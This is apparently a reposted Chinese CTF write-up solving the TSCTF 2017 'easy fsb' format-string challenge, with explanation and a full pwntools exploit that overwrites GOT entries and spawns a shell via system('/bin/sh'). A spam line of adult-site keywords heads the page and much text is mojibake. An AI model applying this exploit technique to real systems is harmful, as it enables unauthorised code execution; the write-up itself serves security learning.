日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

pwn学习之二

發(fā)布時(shí)間:2024/1/17 编程问答 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 pwn学习之二 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

  剛剛開(kāi)始學(xué)習(xí)pwn,記錄一下自己學(xué)習(xí)的過(guò)程。

  今天get了第二道pwn題目的解答,做的題目是2017年TSCTF的easy fsb,通過(guò)這道題了解了一種漏洞和使用該漏洞獲取shell的方法:即格式化字符串漏洞,通過(guò)找到printf的got表改為system的got表,從而讓執(zhí)行printf函數(shù)變成執(zhí)行system函數(shù)再傳入/bin/sh參數(shù),從而讓程序執(zhí)行system('/bin/sh')獲取shell。

  打開(kāi)ida查看:

  

  程序邏輯就是執(zhí)行g(shù)etname()函數(shù)。

  進(jìn)入getname()函數(shù):

  

  邏輯就是往buf里面寫(xiě)數(shù)據(jù)然后printf出來(lái),這里由于printf()函數(shù)直接調(diào)用了buf作為參數(shù),所以存在格式化字符串漏洞。

  格式化字符串漏洞介紹:http://www.cnblogs.com/Ox9A82/p/5429099.html,http://blog.csdn.net/prettyday/article/details/50366608。

  本題漏洞利用方法:首先第一輪將exit函數(shù)的got表修改成main函數(shù)的地址從而讓程序能夠循環(huán)運(yùn)行,

           ? ?接著第二輪將__libc_start_main函數(shù)在內(nèi)存中的地址找出,通過(guò)給的so文件計(jì)算出system函數(shù)地址,

            第三輪將printf函數(shù)的got表更改為system函數(shù)的地址,

           ? ?最后一輪輸入'/bin/sh\x00',實(shí)際是運(yùn)行了system('/bin/sh'),最終拿到了shell。

  通過(guò)gdb查看,由于本題未使用保護(hù)措施,可以直接通過(guò)ida讀取到地址(linux加載器分配虛擬頁(yè)的一個(gè)連續(xù)的片從0x08048000開(kāi)始,也就是說(shuō)elf程序的默認(rèn)起始地址為0x08048000,之前一直不懂為什么加載前后地址是固定的^_^|||),設(shè)置斷點(diǎn)在存在格式化字符串漏洞的printf位置處,本題為b *0x08048629,然后r運(yùn)行,輸入AAAA,再通過(guò)stack 10來(lái)查看當(dāng)前棧:

可以看出輸入值在棧頂偏移7的位置。

可以通過(guò)pwntools中的fmtstr模塊來(lái)快速生成payload,如要將exit_got表的地址改為main函數(shù)的地址:

?main_addr = 0x8048648

?exit_got = 0x804a024

?fmtstr_payload(7,{exit_got:main_addr})

這樣就生成了

這樣的payload,什么意思呢:

首先,我們知道字符串存在棧中偏移為7的位置,所以這個(gè)payload首先在偏移為7的位置寫(xiě)下了0804a024,偏移為8的位置寫(xiě)著0804a025,同理到偏移為10的地址寫(xiě)著0804a027,其實(shí)這就是exit_got表的地址所占的4個(gè)字節(jié),%x$hhn是將前面的字符個(gè)數(shù)作為值存入到偏移為x的地方寫(xiě)的地址中,比如這里%7$hhn就會(huì)把前面的字符個(gè)數(shù)作為值寫(xiě)入0804a024這個(gè)地址處,所以這里是把56+16存入0804a024中,把56+16+62存入0804a025中,把56+16+62+126存入0804a026中,把56+16+62+126+4存入0804a027中,這里注意:最高是255所以超過(guò)的其實(shí)是值-256存入,其實(shí)這里就是把48,86,04,08分別存入0804a024到0804a027中。

改完了,就能讓程序在結(jié)束時(shí)循環(huán)到開(kāi)始處,然后就是通過(guò)so文件和__libc_start_main函數(shù)的真實(shí)地址找出system函數(shù)的真實(shí)地址,通過(guò)ida可以找到__libc_start_main函數(shù)的got表地址是0804A028,它的真實(shí)地址就是0804A028地址處存著的值,可以通過(guò)構(gòu)造payload:\x28\xa0\x04\x08%7$s來(lái)獲得,然后根據(jù)so文件中__libc_start_main函數(shù)和system函數(shù)的間隔通過(guò)__libc_start_main函數(shù)真實(shí)地址-so文件中的__libc_start_main函數(shù)地址+so文件中的system函數(shù)地址即可得到system函數(shù)的真實(shí)地址。

第三次執(zhí)行,將得到的system函數(shù)的真實(shí)地址寫(xiě)入printf函數(shù)的got表中,方法同第一步。

最后一次執(zhí)行,運(yùn)行到printf函數(shù)傳參數(shù)時(shí),實(shí)際上是給system函數(shù)傳入?yún)?shù),所以傳入/bin/sh即可執(zhí)行system('/bin/sh')從而拿到shell。

fsbpwn.py

1 from pwn import * 2 #init 3 debug = 0 4 if debug: 5 io = process('./fsb') 6 else: 7 io = remote('127.0.0.1',2336) 8 9 context.log_level = 'debug' 10 11 if debug: 12 gdb.attach(pidof('fsb')[-1],open('aa')) 13 #------------------------------------------------- 14 main_addr = 0x8048648 15 exit_got = 0x804a024 16 17 io.recvuntil("Welcome~\n") 18 payload1 = fmtstr_payload(7,{exit_got:main_addr}) 19 io.sendline(payload1) 20 21 #------------------------------------------------- 22 libc_path = './libc-32.so' 23 libc = ELF(libc_path) 24 libc_start_main_got = 0x804A028 25 io.recvuntil("Welcome~\n") 26 io.sendline(p32(libc_start_main_got)+'%7$s') 27 libc_start_main = u32(io.recv(8)[4:8]) 28 29 print libc_start_main 30 system_addr = libc_start_main - libc.symbols['__libc_start_main'] + libc.symbols['system'] 31 print 'system_addr = ' + hex(system_addr) 32 33 #------------------------------------------------- 34 printf_got = 0x804a014 35 io.recvuntil("Welcome~\n") 36 37 payload2 = fmtstr_payload(7,{printf_got:system_addr}) 38 io.sendline(payload2) 39 40 #------------------------------------------------- 41 io.recvuntil("Welcome~\n") 42 io.sendline("/bin/sh") 43 44 io.interactive()

pwn題目可用:socat tcp4-listen:2336,fork exec:./pwn1掛載,然后通過(guò)nc ip 2336去訪問(wèn)

fsb下載地址:http://files.cnblogs.com/files/lllkh/pwn1.rar

?

轉(zhuǎn)載于:https://www.cnblogs.com/lllkh/p/7124249.html

總結(jié)

以上是生活随笔為你收集整理的pwn学习之二的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。